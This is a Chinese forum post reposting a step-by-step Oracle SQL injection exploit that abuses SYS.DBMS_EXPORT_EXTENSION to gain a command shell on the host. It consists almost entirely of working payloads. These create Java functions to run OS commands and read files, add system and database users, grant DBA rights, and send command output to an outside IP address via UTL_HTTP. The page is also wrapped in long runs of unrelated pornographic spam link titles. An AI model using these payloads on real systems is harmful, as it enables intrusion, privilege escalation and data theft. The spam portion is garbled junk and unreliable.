国产剧情视频在线观看-国产剧情麻豆女教师在线观看-国产剧情精品在线观看-国产剧情精品-国产剧情91-国产玖玖在线观看


曙海教育集團論壇開發語言培訓專區Oracle數據庫 → 犀利的 oracle 注入技術


  共有93368人關注過本帖樹形打印

主題:犀利的 oracle 注入技術

美女呀,離線,留言給我吧!
wangxinxin
  1樓 個性首頁 | 博客 | 信息 | 搜索 | 郵箱 | 主頁 | UC


加好友 發短信
等級:青蜂俠 帖子:1393 積分:14038 威望:0 精華:0 注冊:2010-11-12 11:08:23
犀利的 oracle 注入技術  發帖心情 Post By:2010-12-11 11:04:20

介紹一個在web上通過oracle注入直接取得主機cmdshell的方法。

以下的演示都是在web上的sql plus執行的,在web注入時 把select SYS.DBMS_EXPORT_EXTENSION.....改成
/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
的形式即可。(用" 'a'|| "是為了讓語句返回true值)

語句有點長,可能要用post提交。

以下是各個步驟:
1.創建包
通過注入 SYS.DBMS_EXPORT_EXTENSION 函數,在oracle上創建Java包LinxUtil,里面兩個函數,runCMD用于執行系統命令,readFile用于讀取文件:
/xxx.jsp?id=1 and '1'<>'a'||(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''  
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}'''';END;'';END;--','SYS',0,'1',0) from dual
)

------------------------
如果url有長度限制,可以把readFile()函數塊去掉,即:
/xxx.jsp?id=1 and '1'<>'a'||(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''  
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}'''';END;'';END;--','SYS',0,'1',0) from dual
)
同時把后面步驟 提到的 對readFile()的處理語句去掉。
------------------------------
2.賦Java權限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual

3.創建函數
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
create or replace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
create or replace function LinxReadFile(filename in varchar2)  return varchar2  as language java name ''''''''LinxUtil.readFile(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual

4.賦public執行函數的權限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual

5.測試上面的幾步是否成功

and '1'<>'11'||(
select  OBJECT_ID from all_objects where  object_name ='LINXRUNCMD'
)
and '1'<>(
select  OBJECT_ID from all_objects where  object_name ='LINXREADFILE'
)
6.執行命令:

/xxx.jsp?id=1 and '1'<>(
select  sys.LinxRunCMD('cmd /c net user linx /add') from dual
)

/xxx.jsp?id=1 and '1'<>(
select  sys.LinxReadFile('c:/boot.ini') from dual
)

注意sys.LinxReadFile()返回的是varchar類型,不能用"and 1<>" 代替 "and '1'<>"。
如果要查看運行結果可以用 union :
/xxx.jsp?id=1 union select  sys.LinxRunCMD('cmd /c net user linx /add') from dual

或者UTL_HTTP.request(:
/xxx.jsp?id=1 and '1'<>(
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
)

/xxx.jsp?id=1 and '1'<>(
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
)
注意:用UTL_HTTP.request時,要用 REPLACE() 把空格、換行符給替換掉,否則會無法提交http request。用utl_encode.base64_encode也可以。


--------------------
6.內部變化
通過以下命令可以查看all_objects表達改變:
select  * from all_objects where  object_name like '%LINX%' or  object_name like '%Linx%'
7.刪除我們創建的函數
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
drop function LinxRunCMD  '''';END;'';END;--','SYS',0,'1',0) from dual



====================================================
全文結束。謹以此文贈與我的朋友。
linx
124829445
2008.1.12
edu.cn" target="_blank">linyujian@bjfu.edu.cn


======================================================================
測試漏洞的另一方法:
創建oracle帳號:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual

即:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual

確定漏洞存在:
1<>(
select user_id from all_users where username='LINXSQL'
)
給linxsql連接權限:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
刪除帳號:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual

======================
以下方法創建一個可以執行多語句的函數Linx_query(),執行成功的話返回數值"1",但權限是繼承的,可能僅僅是public權限,作用似乎不大,真的要用到話可以考慮grant dba to 當前的User:

1.jsp?id=1 and '1'<>(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual
) and ...

1.jsp?id=1 and '1'<>(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual
) and ...
1.jsp?id=1 and '1'<>(
SELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL
) and ...

1.jsp?id=1 and '1'<>(
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
select 1 from dual
''; commit; end;') from dual
) and ...

多語句:
SELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual

創建用戶(除非當前用戶有system權限,否則無法成功):
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
CREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User
''; commit; end;') from dual


================
以下的方法是先建立函數Linx_Query(),再建立 RunCMD2()
1.創建函數
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
create or replace function Linx_Query (p
varchar2) return number authid current_user is begin execute immediate
p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual;

如果有權限,以下語句應該允許正常
select sys.linx_query('select 1 from dual') from dual;
不然的話運行:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
grant dba to 當前的User'''';END;'';END;--','SYS',0,'1',0) from dual


2.創建包
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
create or replace and compile java source named "LinxUtil2"   as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) );  String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual
3.創建函數
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
create or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual
4.給權限
給用戶SYSTEM執行權限:
SELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual

5.執行函數
select RunCMD2('cmd /c dir') from dual

支持(0中立(0反對(0單帖管理 | 引用 | 回復 回到頂部

返回版面帖子列表

犀利的 oracle 注入技術








簽名
国产剧情视频在线观看-国产剧情麻豆女教师在线观看-国产剧情精品在线观看-国产剧情精品-国产剧情91-国产玖玖在线观看
<dfn id="is4kg"></dfn>
  • <ul id="is4kg"></ul>
  • <abbr id="is4kg"></abbr>
  • <ul id="is4kg"></ul>
    <bdo id="is4kg"></bdo>
    久久久久久久久一区二区| 欧美综合第一页| 明星裸体视频一区二区| 婷婷四房综合激情五月| 日本一区二区不卡高清更新| 国产成人精品在线视频| 国产在线一区二区三区| 蜜桃导航-精品导航| 欧洲永久精品大片ww免费漫画| 91沈先生作品| 亚洲午夜精品久久久中文影院av| 国产精品直播网红| 日本精品一区二区三区高清 久久 日本精品一区二区三区不卡无字幕 | 久久久久久97| 亚洲影院污污.| 欧美一区观看| 国产在线精品一区免费香蕉| 四虎永久国产精品| 午夜精品久久久久久久99热浪潮| 99国产视频| 一区二区精品国产| 亚洲一区二区三区香蕉| 亚洲一卡二卡三卡| 成人精品在线视频| 欧美激情一区二区三区久久久| 亚洲综合中文字幕在线观看| 中文字幕日韩精品久久| 91美女片黄在线观看游戏| 一区二区视频国产| 91黄色国产视频| 国产91精品在线播放| 亚洲自拍另类欧美丝袜| 极品尤物一区二区三区| 国产精品视频白浆免费视频| 日韩经典在线视频| 99国产在线观看| 国产精品亚洲精品| 97激碰免费视频| 国产欧美日韩一区二区三区| 国产精品免费视频xxxx| 欧美激情亚洲国产| 999在线观看免费大全电视剧| 日韩美女主播视频| 韩国三级电影久久久久久| 欧美日韩在线观看一区| 91啪国产在线| 国产精品高潮呻吟久久av黑人| 一区二区国产日产| 国产精品久久久对白| 日韩免费观看在线观看| 国外成人在线视频| 亚洲午夜精品久久久中文影院av| 久久亚裔精品欧美| 91视频婷婷| 国产日韩精品在线播放| 欧美国产日韩一区| 亚洲aaaaaa| 国产精品久久久av久久久| 欧美日韩亚洲综合一区二区三区激情在线| 国产精品自产拍在线观看| 午夜精品亚洲一区二区三区嫩草 | 亚洲精品日韩激情在线电影| 欧美亚洲国产视频小说| 亚洲制服欧美久久| 久久精品欧美| 久久久久高清| 成人免费视频在线观看超级碰| 欧洲成人在线观看| 中文字幕色一区二区| 国产精品区一区二区三在线播放 | 亚洲v欧美v另类v综合v日韩v| 国产精品久久久久久久美男| 午夜精品视频网站| 亚洲成人第一| 亚洲国产午夜伦理片大全在线观看网站 | 7777精品久久久大香线蕉小说| 91精品国产91久久久久| 韩国视频理论视频久久| 国产日韩欧美电影在线观看| 91成人国产在线观看| 中文字幕精品—区二区日日骚| 亚洲高清不卡一区| 色综合视频一区中文字幕| 欧美日韩国产高清视频| 视频一区二区在线观看| 欧洲视频一区二区三区| 天堂资源在线亚洲视频| 久久综合中文色婷婷| 国产精品对白刺激久久久| 成人高清在线观看| 91在线网站视频| 国产在线精品播放| 国产二区一区| 国产成人精品免费视频大全最热 | 成人h视频在线| 国产91在线视频| 国产精品久久久久av免费| 国产精品1234| 国产精品视频精品| 91网站在线看| 亚洲精品日韩av| 国产精品一区二区三区观看| 痴汉一区二区三区| 国产一区免费观看| 你懂的网址一区二区三区| 日本一区视频在线| 色综合久久88| 欧洲成人免费视频| 国产日韩欧美视频| 91精品国产自产在线| 99精彩视频在线观看免费| 91在线观看免费| 国产综合色香蕉精品| 国产亚洲二区| 综合久久国产| 国产精品高清网站| 91亚洲精品在线| 免费一区二区三区在在线视频| 国产伦精品一区二区三区高清版 | 国产精品毛片va一区二区三区| 91嫩草在线视频| 九九九九九九精品| 日韩妆和欧美的一区二区| 欧美激情中文字幕乱码免费| 538国产精品视频一区二区| 国产成人精品999| 91丝袜美腿美女视频网站| 国产精品久久久久久婷婷天堂| 国产精品久久久久久久久久久久久久 | 91视频国产精品| 国产无套精品一区二区| 中文一区一区三区免费| 国产精品h在线观看| 91网站免费看| 日韩久久久久久久久久久久久| 欧美精品电影在线| 日本最新高清不卡中文字幕| 国产精品美女在线| 欧美极品jizzhd欧美| 亚洲欧美国产精品桃花| 秋霞午夜一区二区| 91九色在线视频| 91最新国产视频| 欧美lavv| 欧美一级视频在线观看| 国产综合福利在线| 亚洲国产日韩综合一区| 国产精品你懂得| 久久久99国产精品免费| 欧美黄色性视频| 国产精品丝袜久久久久久不卡| 久久99精品久久久久久秒播放器 | 日韩av色在线| 精品一区二区三区日本| 久久久久久亚洲精品中文字幕| 国产在线拍揄自揄视频不卡99| 国产视频不卡| 热久久这里只有精品| 成人字幕网zmw| 欧美日韩国产免费一区二区三区| 奇米4444一区二区三区| 蜜桃av久久久亚洲精品| 26uuu亚洲伊人春色| 国产成人精品一区二区三区福利 | 97视频在线观看亚洲| 国产色综合天天综合网| 日韩成人av网站| 日韩av电影免费观看高清| 国产精品一区二区三区在线观| 久久久久久中文字幕| 亚洲影院在线看| 色综合天天综合网国产成人网 | 亚洲xxxxx性| 亚洲欧洲精品一区| 97超碰在线播放| 欧美又大粗又爽又黄大片视频| 久久伦理网站| 国产精品扒开腿做| 日本亚洲导航| 亚洲一区二区在线| 欧美精品videossex88| 成人免费视频网站| 欧美多人爱爱视频网站| 成人精品在线视频| 亚洲天堂电影网| 欧美亚洲国产另类| 成人激情视频在线播放| 久久大片网站| 成人激情视频在线播放| 51色欧美片视频在线观看| 欧美亚州在线观看| 成人免费在线视频网站| 97精品视频在线播放| 日本一区二区精品视频| 成人午夜影院在线观看| 青青草成人在线| 天天人人精品| 亚洲mm色国产网站| 欧美精品videosex性欧美| 国产一区喷水| 99精品99久久久久久宅男| 国产精品久久久一区| 国内精品小视频在线观看| 日本一区二区三区精品视频| av成人观看| 国产成人精品免高潮在线观看 | 欧美日韩一区综合| 国产精品国产三级国产专区53 | 亚洲精品免费一区二区三区| 国产成人亚洲综合| 久久久久国产一区二区三区| 日本一区不卡| 精品国产乱码久久久久久88av | 久久全国免费视频| 欧洲一区二区日韩在线视频观看免费 | 欧美国产激情18| 美女黄毛**国产精品啪啪| 97欧洲一区二区精品免费| 国产91在线播放九色快色| 国语自产在线不卡| 先锋影音网一区| 精品一区二区久久久久久久网站| 国产精品久久网| 久久久久久亚洲精品| 亚洲欧美日韩国产成人综合一二三区| 噜噜噜噜噜久久久久久91| 俄罗斯精品一区二区| 国产精品永久免费视频| 国产精品激情av在线播放| 日本一区二区在线播放| 91av在线免费观看| 国产精品高潮在线| 4438全国成人免费| 午夜精品一区二区三区在线视| 九色综合婷婷综合| 国产福利久久精品| 国产日韩欧美一区二区三区四区| 国产精品yjizz| 成人在线免费观看一区| 国产精品日韩欧美一区二区三区 | 在线免费观看成人| 国产在线一区二区三区欧美| 99re视频| 国产精品丝袜白浆摸在线| 国产精品入口尤物| 国产福利精品av综合导导航| 91av视频在线免费观看| 51久久精品夜色国产麻豆| 亚洲一区二区三区午夜| 日韩高清av| 婷婷久久伊人| 午夜视频久久久| 污视频在线免费观看一区二区三区 | 日本在线观看一区| 日本精品视频一区| 日韩精品欧美在线| 日韩久久久久久久| 一区二区三区偷拍| 日韩欧美电影一区二区| 蜜桃精品久久久久久久免费影院 | 欧美国产第一页| 91精品国产精品| 国产999精品久久久| 午夜精品一区二区三区在线| 国产精品h在线观看| 国产日产欧美a一级在线| 成人在线观看视频网站| 国产成人看片| 久久久综合亚洲91久久98| 日韩欧美激情一区二区| 欧美精品18videos性欧| 日本韩国在线不卡| 成人欧美一区二区三区黑人孕妇| 成人欧美视频在线| 色之综合天天综合色天天棕色| 婷婷久久青草热一区二区| 午夜精品久久久久久久99黑人| 欧美极品美女电影一区| 国产97在线|日韩| 亚洲xxxxx电影| 久久久久久久免费| 在线观看日韩片| 欧美亚洲日本黄色| 欧美性受xxxx白人性爽| 成人情趣片在线观看免费| 国产伦精品一区二区三区免| 久久免费99精品久久久久久| 久久久久国色av免费观看性色| 国产精品久久久久久久久久久久久 | 视频一区二区在线| 97成人精品区在线播放| 国产日韩一区二区| 麻豆精品传媒视频| 97人洗澡人人免费公开视频碰碰碰| 91福利视频网| 97婷婷涩涩精品一区| 高清欧美性猛交| 青草青草久热精品视频在线网站| 91久久久久久| 精品免费国产| 欧美疯狂做受xxxx高潮| 欧美一级大片视频| 国产精品久久久久久久一区探花| julia一区二区中文久久94| 色综合久久av| 国产精品稀缺呦系列在线| 91在线观看免费| 精品一区国产| 91爱视频在线| 成人免费观看网站| 国精产品一区一区三区有限在线| 国产精品草莓在线免费观看| 精品乱色一区二区中文字幕| 91禁国产网站| 国产精品久久久久久久久久直播| 欧美多人爱爱视频网站| 亚洲xxxx视频| 欧美第一黄色网| 国产日韩精品在线| 青娱乐一区二区| 国产精品久久久久免费a∨| 欧美日韩精品免费在线观看视频| 91高潮精品免费porn| 亚洲一区中文字幕在线观看| 亚洲视频在线二区| 亚洲一区二区三区xxx视频| 午夜免费电影一区在线观看| 成人伊人精品色xxxx视频| 四虎影视永久免费在线观看一区二区三区| 国产精品视频在线播放| 91精品国产自产在线老师啪| 日韩在线第一区| 国产美女主播一区| 性高潮久久久久久久久| 国产日韩欧美电影在线观看| 水蜜桃亚洲一二三四在线| 91精品久久久久久久久久久久久久 | 成人在线免费观看一区| 亚州成人av在线| 91精品综合久久| 自拍偷拍一区二区三区| 不卡视频一区二区三区| 日韩视频精品| 91中文字幕一区| 2019亚洲日韩新视频| 国产日产久久高清欧美一区| 久久久久久久久久久91| 成人免费看黄网站| 91成人在线播放| 西游记1978| 国产精品一区视频| 欧美亚洲国产视频| 欧美日韩在线精品| 国产成人av网址| 性欧美.com| 国产欧美日韩一区| 国产欧美中文字幕| 2023亚洲男人天堂| 国内成人精品视频| 国产精品国产三级国产专播精品人 | 成人欧美一区二区三区视频| 国产精品白丝jk喷水视频一区| 日韩国产在线一区| 91精品视频网站| 91成人性视频| 亚洲欧美丝袜| 国产一区福利视频| 91麻豆国产精品| 日本亚洲欧美成人| 久久久视频在线| 久久精品一二三区| 91九色露脸| 国产精品久久久久久久久免费看| 欧美激情一级精品国产| 国产精品国色综合久久| 国产精品久久久av| 欧美三级电影在线播放| 国产伦精品一区二区三区视频黑人| 国产不卡精品视男人的天堂| 97人洗澡人人免费公开视频碰碰碰| 亚洲自拍三区| 91九色蝌蚪成人| 亚洲一区二区三区香蕉| 国产在线精品成人一区二区三区| 国产精品99久久久久久久久| 91超碰中文字幕久久精品| 久久久久久国产精品美女| 三级三级久久三级久久18| 美国av一区二区三区| 欧洲成人在线观看| 国内精品国产三级国产在线专 | 日韩免费在线视频| 久久久久久久久久久网站| 国产精品一久久香蕉国产线看观看 | 欧美黄色免费网站| 欧美日韩亚洲免费| 国产精品一区二区三区在线观| 97久久天天综合色天天综合色hd | 伊人婷婷久久| 久久影视中文粉嫩av| 亚洲一区二区三区四区在线播放 | 夜夜爽99久久国产综合精品女不卡 | 一区不卡视频| 日本黑人久久| 亚洲一区二区三区毛片| 亚洲一区亚洲二区亚洲三区| 国产精品极品美女在线观看免费| 国产精品福利网| 国产精品久久久久影院日本| 国产欧美日韩高清| 国产精品黄视频| 国产激情综合五月久久| 国产va免费精品高清在线观看| 欧美极品少妇xxxxⅹ免费视频| 欧美一级爽aaaaa大片| 欧美日韩精品免费在线观看视频| 日韩不卡av| 水蜜桃一区二区三区| 四虎影视永久免费在线观看一区二区三区| 四虎一区二区| 欧美精品videosex牲欧美| 欧美二级三级| 2022国产精品| 久久免费国产视频| 国产精品一区二区3区| 欧洲成人在线视频| 国产精品国产亚洲伊人久久| 午夜欧美不卡精品aaaaa| 亚洲mv在线看| 日韩欧美在线观看强乱免费| 乱色588欧美| 日韩高清三级| 欧美激情精品久久久久久大尺度| 日韩成人av网站| 久久久久国产精品免费网站| 欧美激情手机在线视频| 色综合91久久精品中文字幕| 午夜精品蜜臀一区二区三区免费| 欧美亚洲日本网站| 国产精品自拍小视频| 91久久夜色精品国产网站| 成人在线免费观看一区| 黄色99视频| 国产精品一区二区你懂得| 欧美大陆一区二区| 久久久久久久一区二区三区| 国产成人拍精品视频午夜网站| 国产精品久久久久久久9999| 高清国产在线一区| 日韩av电影免费在线观看| 91地址最新发布| 亚洲精品免费网站| 欧美婷婷久久| 91精品国产高清久久久久久| 国产精品日韩一区| 精品国产乱码一区二区三区四区| 日韩欧美亚洲日产国| 91地址最新发布| 91在线在线观看| 欧美日韩精品免费观看视一区二区| 久久久久久亚洲精品不卡| 国产成人精品av在线| 成人看片人aa| 欧美一区二区三区四区夜夜大片 | 国产成人精品一区二区三区福利| 裸模一区二区三区免费| 亚洲午夜精品久久| 5566日本婷婷色中文字幕97| 国产成人一区二区| 91精品久久久久久蜜桃| 亚洲成人第一| 国产999在线观看| av电影成人| 欧美激情视频给我| 91久久国产精品91久久性色| 久久综合精品一区| 久久久久国色av免费观看性色| 91精品国产综合久久香蕉的用户体验| 国产精品私拍pans大尺度在线| 国产丝袜不卡| 5566日本婷婷色中文字幕97| 97se亚洲综合在线| 亚洲第一在线综合在线| 欧美一区第一页| 91免费看片在线| 日韩在线电影一区| 国产精品专区第二| 亚洲成人蜜桃| 92国产精品视频| 在线观看一区二区三区三州| 国产精品自在线| 日韩欧美手机在线| 91精品久久久久久久久久| 亚洲亚洲精品三区日韩精品在线视频| 国产成人精品免费久久久久| 波多野结衣精品久久| 尤物一区二区三区| 国产精品视频26uuu| 日韩和欧美的一区二区| 成人网址在线观看| 亚洲综合网中心| 国产精品.com| 91精品国产高清久久久久久91| 黑人另类av| 国产精品普通话| 亚洲精品二区| 成人3d动漫一区二区三区91| 91入口在线观看| 欧美精品精品精品精品免费| 成人黄色大片在线免费观看| 日韩欧美激情一区二区| 国产欧美在线视频| 欧美黄色三级网站| 成人自拍爱视频| 久久理论片午夜琪琪电影网| 51精品国产人成在线观看| 欧美激情中文字幕乱码免费| 国产一区在线观| 97婷婷涩涩精品一区| 久久久久久久久久久一区| 777777777亚洲妇女| 狼狼综合久久久久综合网| 国产精品中文在线| 午夜免费日韩视频| 日本福利一区二区三区| 亚洲自拍偷拍网址| 欧美中在线观看| 日本一区二区三区免费观看| 成人免费看黄网站| 97免费在线视频| 天堂社区 天堂综合网 天堂资源最新版| 日本免费高清一区| 国产91精品不卡视频| 玛丽玛丽电影原版免费观看1977 | 国产精品黄色av| 日韩偷拍一区二区| 国产一区二区三区免费不卡| 2023亚洲男人天堂| 久久久久久a亚洲欧洲aⅴ| 国产精品吹潮在线观看| 久久久久久这里只有精品| 97超碰最新| 国产精品视频一区二区高潮| 亚洲国产欧美日韩| 精品高清视频| 国产在线高清精品| 国产精品r级在线| 伊人久久大香线蕉精品| 欧美日产一区二区三区在线观看| 国产精品日韩专区| 欧美在线视频网站| 一区二区三区av| 日韩av图片| 欧美久久电影| 国产无套精品一区二区| 成人av在线亚洲| 国产精品一区二区三区成人| 91国产视频在线| 中文字幕久久综合| 亚洲电影免费| 天堂精品一区二区三区| 欧洲高清一区二区| 精品国产乱码久久久久久丨区2区 精品国产乱码久久久久久蜜柚 | 国产精品入口福利| 久久久久久香蕉网| 欧美黑人巨大xxx极品| 欧美极品日韩| 国产一区二区三区四区五区在线| 99久热re在线精品视频| 日本高清不卡的在线| 欧美高清性猛交| 国产福利久久精品| 国产精品一区二区a| 豆国产97在线| 国产成人亚洲欧美| 国产成人在线精品| 国内伊人久久久久久网站视频 | 国产欧美一区二区三区久久| 国产国语videosex另类| 日韩美女视频中文字幕| 午夜精品久久久久久久久久久久 | 影音先锋在线亚洲| 综合视频在线观看| 日韩免费av一区二区三区| 3d精品h动漫啪啪一区二区| 99精品国产一区二区| 91牛牛免费视频| 51国偷自产一区二区三区 | 国产欧美日韩视频一区二区三区| 国产精品精品久久久| 精品视频一区二区| 日韩福利二区| 久久精品中文字幕一区二区三区| 国内外成人免费视频| 亚洲va电影大全| 